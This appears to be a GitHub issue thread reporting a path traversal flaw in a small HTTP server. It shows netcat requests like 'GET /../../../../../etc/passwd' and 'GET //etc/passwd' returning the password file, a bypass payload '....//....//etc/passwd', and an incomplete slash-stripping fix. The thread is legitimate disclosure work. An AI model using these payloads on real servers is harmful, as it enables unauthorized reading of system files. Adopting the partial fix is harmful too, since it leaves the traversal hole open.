You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
for while (filename[0] == '/') { filename = filename+1; }
and removing the extra closing brace }
it prevents the //etc/passwd style direct path hack and seems to prevent /../../../etc/passwd style indirect directory hack as well
@timsoftgit does not it prevent the /../../../etc/passwd style attack because URI ends up being ../../../etc/passwd style? I suggest you try your suggested fix with the below payload (URI) as well.
you're right. To do it properly you have to filter out all ../ recursively as well, otherwise something like
....//....//etc/passwd would also be a problem.
It is possible to request parent directories.
cotix@lithium:~$ nc localhost 9999
GET /../../../../../etc/passwd HTTP/1.0
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2333
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash
... my whole /etc/passwd
It is also possible to query absolute paths:
cotix@lithium:~$ nc localhost 9999
GET //etc/passwd HTTP/1.0
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: no-cache
Content-length: 2333
Content-type: text/plain
root:x:0:0:root:/root:/bin/bash
The text was updated successfully, but these errors were encountered: